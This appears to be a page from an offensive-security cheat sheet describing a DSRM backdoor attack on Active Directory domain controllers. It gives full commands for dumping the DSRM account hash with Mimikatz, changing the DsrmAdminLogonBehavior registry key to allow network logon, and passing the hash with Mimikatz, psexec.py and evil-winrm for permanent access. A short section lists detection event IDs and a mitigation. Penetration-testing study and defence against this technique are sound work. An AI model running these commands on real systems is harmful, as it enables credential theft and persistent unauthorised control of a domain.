AD^:Active Directory

Attack #62 — DSRM Backdoor Abuse

Every DC has a Directory Services Restore Mode (DSRM) administrator account with a separate password set during DC promotion. By default, this account…

advancedupdated 2026-08-10Mimikatz · Evil-WinRM · PowerShell

🟤 Attack #62 — DSRM Backdoor Abuse


📖 How It Works

Every DC has a Directory Services Restore Mode (DSRM) administrator account with a separate password set during DC promotion. By default, this account can’t be used for network logons. However, modifying the registry key DsrmAdminLogonBehavior to 2 allows the DSRM administrator to authenticate over the network — creating a persistent backdoor that survives AD credential resets, KRBTGT rotation, and even domain trust rebuilds.


⚙️ Prerequisites

RequirementDetail
Local admin / SYSTEM on DCTo modify registry and dump DSRM hash

💻 Full Commands

# ── Step 1: Dump DSRM password hash ──────────────────────────────────────────
mimikatz.exe
privilege::debug
token::elevate
lsadump::sam
# Look for: Administrator (local) — this is the DSRM account hash

# ── Step 2: Enable network logon for DSRM ────────────────────────────────────
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2 /f
# Value 0 = DSRM only in restore mode (default)
# Value 1 = DSRM when AD DS is stopped
# Value 2 = DSRM always allowed for network logon ← what we want

# ── Step 3: Use DSRM hash for network access ─────────────────────────────────
# PtH with the DSRM Administrator hash:
sekurlsa::pth /domain:DC01 /user:Administrator /ntlm:<DSRM_HASH> /run:cmd.exe
# Note: /domain is the DC hostname, NOT the domain — this is the local admin

# Result: Can access DC01 as .\Administrator forever
# ── From Linux — PtH with DSRM hash ──────────────────────────────────────────
psexec.py ./Administrator@DC01.corp.local -hashes :<DSRM_HASH>
evil-winrm -i DC01.corp.local -u Administrator -H <DSRM_HASH>

🛡️ Detection — Event IDs

Event IDSourceWhat to Look For
4657Security Log (DC)Registry modification — DsrmAdminLogonBehavior created/changed
4624Security Log (DC)Local Administrator logon on DC (not domain admin)

🔗 Attack Chain Context

[DSRM Backdoor] ──→ Permanent DC Access via Local Admin Account
         │
         ├──→ 🔒 Survives: KRBTGT rotation, DA password resets, trust rebuilds
         ├──→ 🔗 Only detected by: monitoring DsrmAdminLogonBehavior registry key
         └──→ 💀 Defeated by: monitor registry, never set DsrmAdminLogonBehavior to 2

✅ Attack #62 — DSRM Backdoor complete.

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.